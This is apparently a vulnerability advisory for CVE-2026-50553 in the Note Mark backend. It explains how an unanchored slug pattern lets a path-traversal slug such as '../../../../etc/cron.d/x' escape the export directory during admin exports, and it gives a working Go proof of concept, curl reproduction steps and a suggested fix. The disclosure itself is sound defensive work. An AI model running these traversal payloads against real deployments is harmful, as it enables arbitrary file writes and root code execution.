PT-2026-56842 · Go · Github.Com/Enchant97/Note-Mark/Backend

Publicado

2026-07-09

·

Atualizado

2026-07-09

·

CVE-2026-50553

CVSS v4.0

8.6

Alta

VetorAV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Summary

Note Mark validates book and note slug values with the OpenAPI/huma tag pattern:"[a-z0-9-]+". huma compiles this with regexp.MustCompile(s.Pattern) and tests it with patternRe.MatchString(str), an UNANCHORED match. Because the pattern is not anchored (^...$), any string that merely CONTAINS one [a-z0-9-] substring passes validation. A slug such as ../../../../../../tmp/escape is accepted and stored verbatim.
The data-export CLI commands (note-mark migrate export and note-mark migrate export-v1) join these unsanitized slugs straight into the output path with path.Join / filepath.Join, then os.MkdirAll the directory and os.Create the note file. path.Join resolves the ../ segments, so the note content file is written OUTSIDE the configured export directory. The export process commonly runs as root (default in Docker / bare-metal admin usage), so this is a root-privilege arbitrary directory create + file write.
This is the unguarded sibling of GHSA-g49p-4qxj-88v3 (CVE class CWE-22 in the same export sinks). That fix added filepath.Base(asset.Name) to sanitize the asset filename, but the adjacent path components book.Slug and note.Slug — used in the very same path.Join calls in the same two export functions — were left raw, and their input-side pattern guard is bypassable as shown above.

Vulnerable code

Slug input validation (backend/db/types.go, v0.19.4):
go
type CreateBook struct {
	Name   string `json:"name" required:"true" minLength:"1" maxLength:"80"`
	Slug   string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
	IsPublic bool  `json:"isPublic,omitempty" default:"false"`
}

type CreateNote struct {
	Name string `json:"name" required:"true" minLength:"1" maxLength:"80"`
	Slug string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
}
huma applies the pattern UNANCHORED (github.com/danielgtaylor/huma/v2@v2.37.3):
go
// schema.go
if s.Pattern != "" {
	s.patternRe = regexp.MustCompile(s.Pattern)
go
// validate.go
if s.patternRe != nil {
	if !s.patternRe.MatchString(str) {
		res.Add(path, v, s.msgPattern)
regexp.MatchString("[a-z0-9-]+", "../../../../tmp/escape") is true (it matches the tmp substring), so the traversal slug passes and BooksService.CreateBook / NotesService store it verbatim.
Export sinks (backend/cli/migrate.go, v0.19.4). The asset filename was sanitized by the GHSA-g49p fix; the sibling slug path components were not:
go
// commandMigrateExportDataV1 / commandMigrateExportData
for , book := range user.Books {
	bookDir := path.Join(exportDir, user.Username, book.Slug)  // book.Slug raw
	for , note := range book.Notes {
		noteDir := path.Join(bookDir, note.Slug)        // note.Slug raw
		if err := os.MkdirAll(noteDir, os.ModePerm); err != nil {
			return err
		}
		f, err := os.Create(path.Join(noteDir, " index.md"))  // escapes exportDir
go
// the same functions DO sanitize the sibling asset name:
assetFileName := filepath.Base(asset.Name)
if assetFileName == "/" || assetFileName == "." {
	log.Printf("disallowed asset filename found '%s', skipping
", asset.Name)
	continue
}
f, err := os.Create(path.Join(assetsDir, asset.ID.String()+"."+assetFileName))

Impact

A low-privilege authenticated user (any registered account that can create a book/note) sets a traversing slug. When an administrator later runs note-mark migrate export or export-v1 (a routine backup/migration operation, commonly as root in Docker), the exporter creates attacker-chosen directories and writes the note's index.md to an arbitrary filesystem location outside the export directory. With root, this allows writing to /etc/cron.d/, systemd unit directories, or other startup paths, escalating to code execution as root. Same trust boundary and severity class as GHSA-g49p-4qxj-88v3.

Attack scenario

  1. Attacker registers / uses any normal user account.
  2. Attacker POST /api/books (or a note) with slug = ../../../../../../etc/cron.d/x (passes the unanchored [a-z0-9-]+ pattern). Stored verbatim.
  3. Admin runs note-mark migrate export-v1 --export-dir /data/backup (root).
  4. Exporter does path.Join("/data/backup", username, "../../../../../../etc/cron.d/x") which yields /etc/cron.d/x, then os.MkdirAll creates it and os.Create(path.Join(noteDir, " index.md")) writes attacker-influenced content outside /data/backup.

Proof of concept

Self-contained Go reproducer pinning huma v2.37.3 (Note Mark's exact version) and Note Mark's exact CreateBook DTO + the exact export path.Join expression. It demonstrates (a) the traversal slug passes huma validation, (b) a negative control that genuinely violates the charset is rejected, (c) the export sink writes the file outside the export root.
go
// go.mod: module nmpoc; go 1.24; require github.com/danielgtaylor/huma/v2 v2.37.3
package main

import (
	"context"
	"fmt"
	"net/http"
	"net/http/httptest"
	"os"
	"path"
	"strings"

	"github.com/danielgtaylor/huma/v2"
	"github.com/danielgtaylor/huma/v2/adapters/humago"
)

// Mirror of note-mark backend/db/types.go:24-28 CreateBook DTO at v0.19.4.
type CreateBook struct {
	Name   string `json:"name" required:"true" minLength:"1" maxLength:"80"`
	Slug   string `json:"slug" required:"true" minLength:"1" maxLength:"80" pattern:"[a-z0-9-]+"`
	IsPublic bool  `json:"isPublic,omitempty" default:"false"`
}
type CreateBookInput struct{ Body CreateBook }
type CreateBookOutput struct {
	Body struct {
		Slug string `json:"slug"`
	}
}

func main() {
	mux := http.NewServeMux()
	api := humago.New(mux, huma.DefaultConfig("note-mark-poc", "1.0.0"))
	var stored string
	huma.Register(api, huma.Operation{OperationID: "create-book", Method: http.MethodPost, Path: "/api/books"},
		func(ctx context.Context, in *CreateBookInput) (*CreateBookOutput, error) {
			stored = in.Body.Slug // BooksService.CreateBook stores Slug verbatim
			out := &CreateBookOutput{}
			out.Body.Slug = in.Body.Slug
			return out, nil
		})

	const traversalSlug = `../../../../../../tmp/nmpoc-escape`
	body := fmt.Sprintf(`{"name":"x","slug":%q}`, traversalSlug)
	req := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(body))
	req.Header.Set("Content-Type", "application/json")
	rec := httptest.NewRecorder()
	mux.ServeHTTP(rec, req)
	fmt.Printf("[validation] slug=%q status=%d stored=%q
", traversalSlug, rec.Code, stored)

	// Negative control: a slug with NO [a-z0-9-] char anywhere must be rejected.
	negReq := httptest.NewRequest(http.MethodPost, "/api/books", strings.NewReader(`{"name":"x","slug":"@@@@"}`))
	negReq.Header.Set("Content-Type", "application/json")
	negRec := httptest.NewRecorder()
	mux.ServeHTTP(negRec, negReq)
	fmt.Printf("[neg-control] slug="@@@@" status=%d (expect 422)
", negRec.Code)

	// Export sink expression from backend/cli/migrate.go:187,191,203.
	exportDir := "/tmp/nmpoc-exportroot"
	 = os.RemoveAll(exportDir)
	 = os.RemoveAll("/tmp/nmpoc-escape")
	 = os.MkdirAll(exportDir, 0o755)
	bookDir := path.Join(exportDir, "victim", stored)
	noteDir := path.Join(bookDir, "n")
	 = os.MkdirAll(noteDir, 0o755)
	outPath := path.Join(noteDir, " index.md")
	 = os.WriteFile(outPath, []byte("PWNED-NOTE-CONTENT
"), 0o644)
	escaped := !strings.HasPrefix(path.Clean(outPath), path.Clean(exportDir)+"/")
	fmt.Printf("[export] joined=%q escapedExportDir=%v
", outPath, escaped)
	if d, err := os.ReadFile("/tmp/nmpoc-escape/n/ index.md"); err == nil {
		fmt.Printf("[export] SENTINEL written OUTSIDE exportDir => %q
", strings.TrimSpace(string(d)))
	}
}
Verbatim output (go run ., huma v2.37.3, go1.26.1):
[validation] slug="../../../../../../tmp/nmpoc-escape" status=200 stored="../../../../../../tmp/nmpoc-escape"
[neg-control] slug="@@@@" status=422 (expect 422)
[export] joined="/tmp/nmpoc-escape/n/ index.md" escapedExportDir=true
[export] SENTINEL written OUTSIDE exportDir => "PWNED-NOTE-CONTENT"
The traversal slug is ACCEPTED (status 200) while the negative control is correctly rejected (422), and the export path.Join writes the note file outside the export root.

End-to-end reproduction

Against the released image ghcr.io/enchant97/note-mark-aio:0.19.4 (the GHSA-g49p fix release):
bash
# 1. start
docker run -d --name nm -p 8080:8080 -e JWT SECRET="$(openssl rand -base64 32)" 
 -e PUBLIC URL="http://localhost:8080" ghcr.io/enchant97/note-mark-aio:0.19.4
# 2. register + login (capture Auth-Session-Token cookie)
curl -s -X POST localhost:8080/api/users -H 'Content-Type: application/json' 
 -d '{"username":"attacker","password":"Attack3r!","name":"a"}'
TOKEN=$(curl -s -D - -X POST localhost:8080/api/auth/token -H 'Content-Type: application/json' 
 -d '{"username":"attacker","password":"Attack3r!","grant type":"password"}' 
 | sed -n 's/.*Auth-Session-Token=([^;]*).*/1/p')
# 3. create a book with a traversing slug — passes the [a-z0-9-]+ pattern
curl -s -X POST localhost:8080/api/books -H 'Content-Type: application/json' 
 -b "Auth-Session-Token=$TOKEN" 
 -d '{"name":"x","slug":"../../../../../../tmp/nmpoc-escape"}'
#  response echoes "slug":"../../../../../../tmp/nmpoc-escape" (accepted, 200/201)
# 4. add a note under that book (any valid note slug), then trigger admin export
docker exec nm /note-mark migrate export-v1 --export-dir /data/backup
# 5. observe the note index.md written outside /data/backup
docker exec nm ls -la /tmp/nmpoc-escape/
The self-contained Go reproducer above is the deterministic, version-pinned demonstration of the validation bypass + sink escape (it does not require the full image build).

Suggested fix

Apply filepath.Base() (the same idiom already used for asset.Name in the GHSA-g49p fix) to the sibling slug path components in both export functions, and/or reject the result if it differs from the raw value:
go
bookSlug := filepath.Base(book.Slug)
noteSlug := filepath.Base(note.Slug)
if bookSlug != book.Slug || noteSlug != note.Slug {
	log.Printf("disallowed slug found, skipping book=%q note=%q
", book.Slug, note.Slug)
	continue
}
bookDir := path.Join(exportDir, user.Username, bookSlug)
noteDir := path.Join(bookDir, noteSlug)
Root cause hardening (preferred): anchor the slug pattern at the input layer so traversal can never enter the DB. Either change the tag to an anchored regex pattern:"^[a-z0-9-]+$", or reject strings.ContainsAny(slug, "/.") in the create/update handlers (mirroring the PostNoteAsset header check added by GHSA-g49p). user.Username (pattern:"[a-zA-Z0-9]+") is also unanchored and should be anchored for the same reason.

Affected versions

<= v0.19.4 (current latest release). The slug components are used unsanitized in backend/cli/migrate.go at v0.19.4, the release that fixed the sibling asset.Name traversal (GHSA-g49p-4qxj-88v3).

Fix PR

A fix is prepared on the temporary private advisory fork: enchant97/note-mark-ghsa-rqrh-8wpv-x7hh PR #1. It anchors the slug/username pattern tags (^[a-z0-9-]+$ / ^[a-zA-Z0-9]+$) at the input layer and adds defense-in-depth filepath.Base() checks to both export functions, plus a regression test. go test ./backend/db/ passes with the fix and fails against the old unanchored pattern.

Credit

Reported by tonghuaroot.

Correção

RCE

Path traversal

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

CVE-2026-50553
GHSA-RQRH-8WPV-X7HH

Produtos afetados

Github.Com/Enchant97/Note-Mark/Backend